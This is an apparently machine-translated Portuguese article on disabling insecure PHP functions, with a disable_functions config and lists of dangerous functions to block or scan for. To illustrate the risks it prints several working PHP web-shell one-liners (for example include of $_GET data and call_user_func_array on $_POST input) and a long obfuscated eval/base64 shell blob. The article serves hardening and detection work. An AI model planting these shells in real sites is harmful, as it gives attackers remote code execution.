Funções PHP inseguras

Modesco Holding - são mais de 300 sites de informações e 5 principais serviços de Internet. Os projetos são comprados e vendidos regularmente. Como você entende, é fisicamente impossível manter código de alta qualidade nessa situação. E a atenção principal dos programadores, em regra, está focada nos próprios serviços. Hacks, shell, infecção de sites com outras coisas maliciosas ... Tudo isso causa danos significativos a usuários e empresas. Para evitar isso, muitas vezes é preciso procurar maneiras não padronizadas de reduzir riscos.


gato


fastcgi_param PHP_VALUE open_basedir="/code/"; fastcgi_param PHP_ADMIN_VALUE disable_functions="exec,expect_popen,mail,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,proc_open,shell_exec,system"; 

Isso não significa que todas as funções perigosas precisam ser proibidas com urgência. Isso não significa que, ao desativá-los, você definitivamente se protegerá de todos os shells do PHP. A maioria desses recursos pode ser usada com segurança em seu aplicativo, Framework ou bibliotecas. Cada aplicativo deve ser abordado individualmente. Segurança é o processo de construção de uma defesa em profundidade, e a desativação de funções perigosas nesse caso é apenas uma das linhas possíveis dessa defesa.


A lista de tais funções pode muito bem ser um assistente para encontrar arquivos suspeitos. O shell do PHP pode ser oculto de maneira inteligente - um excelente exemplo de ofuscação é o artigo sobre habr


Este artigo é baseado em um registro de stackoverflow e em nossa própria experiência ao analisar um conjunto enorme de shells do PHP .


O que fazer com isso


Seria bom desativar algumas funções perigosas para PHP-fpm (ou qualquer outra coisa). Deixe a oportunidade de executá-los somente através do PHP-cli. A aparência de outras funções deve ser monitorada em arquivos. O terceiro deve ser tratado com mais cuidado e não permitir que linhas não limpas ou estritamente não validadas entrem nos argumentos.


Funções de execução de comando


 exec expect_popen passthru system shell_exec popen proc_open pcntl_exec 

Esses recursos devem ser desativados primeiro. Se você precisar deles no PHP-fpm, estará fazendo algo errado. Essas funções permitem que você saia do ambiente especificado em open_basedir. Desativar apenas parte das funções não será suficiente. Por exemplo, o amado shell WSO muitos, em busca de oportunidades para execução de código, enumera funções.


 function wsoEx($in) { $out = ''; if (function_exists('exec')) { } elseif (function_exists('passthru')) { } elseif (function_exists('system')) { } elseif (function_exists('shell_exec')) { } elseif (function_exists('pcntl_exec')) { } elseif (function_exists('expect_popen')) { } elseif (function_exists('proc_open')) { } elseif (is_resource($f = @popen($in,"r"))) { } return $out; } 

Recursos de gerenciamento de processos


 pcntl_alarm pcntl_exec pcntl_fork pcntl_get_last_error pcntl_getpriority pcntl_setpriority pcntl_signal pcntl_signal_dispatch pcntl_sigprocmask pcntl_sigtimedwait pcntl_sigwaitinfo pcntl_strerror pcntl_wait pcntl_waitpid pcntl_wexitstatus pcntl_wifcontinued pcntl_wifexited pcntl_wifsignaled pcntl_wifstopped pcntl_wstopsig pcntl_wtermsig 

Eles também devem ser desligados. Por exemplo, proc_open é encontrado no WSO. Sim e não há lugar para tais funções no ambiente do PHP-fpm. O daemon deve ser iniciado através do PHP-cli.


Funções de informação


 phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid 

Essas funções revelam informações sobre o seu sistema e podem facilitar muito o ataque a outro software. E eles também podem se tornar uma fonte de vazamento de dados confidenciais, por exemplo, no symfony, é recomendável armazenar conexões de banco de dados no ENV. Portanto, é aconselhável proibir a execução dessas funções, exceto as utilizadas no seu aplicativo.


Funções executando código PHP


 eval assert preg_replace create_function include include_once require require_once 

Vale a pena verificar sua presença nos arquivos baixados e realizar verificações regulares dos arquivos atuais. Além do eval existem outras maneiras de executar o código PHP. Por exemplo, você pode incluir um arquivo JPG especialmente criado . No entanto, a maioria das estruturas e aplicativos usa essas funções - você não pode desativá-las. Portanto, é importante ter muito cuidado ao usá-los. O shell pode ser apenas uma linha:


  include("data:text/plain;base64,$_GET[code]"); 

Funções que usam retorno de chamada


 ob_start array_diff_uassoc array_diff_ukey array_filter array_intersect_uassoc array_intersect_ukey array_map array_reduce array_udiff_assoc array_udiff_uassoc array_udiff array_uintersect_assoc array_uintersect_uassoc array_uintersect array_walk_recursive array_walk assert_options uasort uksort usort preg_replace_callback spl_autoload_register iterator_apply call_user_func call_user_func_array register_shutdown_function register_tick_function set_error_handler set_exception_handler session_set_save_handler sqlite_create_aggregate sqlite_create_function 

Essas funções podem ser usadas para chamar outras funções passando um parâmetro de string. Vale a pena aplicá-los com cuidado e não permitir que dados brutos entrem nos argumentos da função. Afinal, eles também podem servir para mascarar a concha. Um exemplo do shell mais simples usando essas funções é semelhante a este:


 print_r(call_user_func_array($_POST['functie'], array($_POST['argv']))); 

Funções frequentemente usadas na ofuscação


 eval assert str_rot13 base64_decode gzinflate gzuncompress preg_replace chr hexdec decbin bindec ord str_replace substr goto unserialize trim rtrim ltrim explode strchr strstr chunk_split strtok addcslashes runkit_function_rename rename_function call_user_func_array call_user_func register_tick_function register_shutdown_function 

Essas funções costumam ser usadas para mascarar shell PHP já conhecidos de antivírus e olhares indiscretos. Verifique a presença de arquivos baixados, realize verificações regulares nos arquivos atuais. Um exemplo de ocultar um shell:


 eval(str_rot13(gzinflate(str_rot13(base64_decode('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'))))); 

Recursos do sistema de arquivos


 fopen tmpfile bzopen gzopen chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng imagewbmp image2wbmp imagejpeg imagexbm imagegif imagegd imagegd2 iptcembed ftp_get ftp_nb_get file_exists file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file highlight_file show_source php_strip_whitespace get_meta_tags 

Essas funções podem ser usadas para baixar arquivos ou divulgar informações sobre o sistema - vale a pena usá-los com cuidado. Muitos shells PHP podem fazer upload de arquivos de terceiros via ftp. Um simples shell PHP para carregar um arquivo arbitrário se parece com isso:


 copy($_GET['s'], $_GET['d']); 

Outros


 extract parse_str putenv ini_set mail header proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid 

Também é necessário cuidado com essas funções, e algumas delas são melhor proibidas. Por exemplo, o mail pode ser usado para enviar spam para um site infectado. Se o seu aplicativo não pretender usar essas funções, desative-as. A construção a seguir não tem medo, mas é um dos menores shells do PHP:


  @extract($_REQUEST); @die ($ctime($atime)); 

Conclusão


Desabilitar funções PHP inseguras é uma maneira de reduzir os riscos de ficar sem recursos. Se pessoas com “conhecimento específico” estiverem envolvidas no seu projeto, é provável que caia.


Essa proteção provou ser especialmente boa em sites no CMS - eles são infectados, em regra, por redes maliciosas no modo automático. Se o bot de verificação não puder executar o comando ou o shell PHP inundado, provavelmente irá para o próximo site.


Espero que este artigo incentive os iniciantes a serem mais cuidadosos ao filtrar, proteger e validar os dados recebidos do usuário.


O artigo não pretende ter conhecimento exclusivo - de uma forma ou de outra, esse material já foi encontrado no Runet. O texto é um material generalizado e sistematizado, chamando a atenção para o problema.


Talvez ele seja capaz de motivar alguém a escrever material complexo sobre segurança do Wordpress, bem, ou outro CMS.

Source: https://habr.com/ru/post/pt472092/


All Articles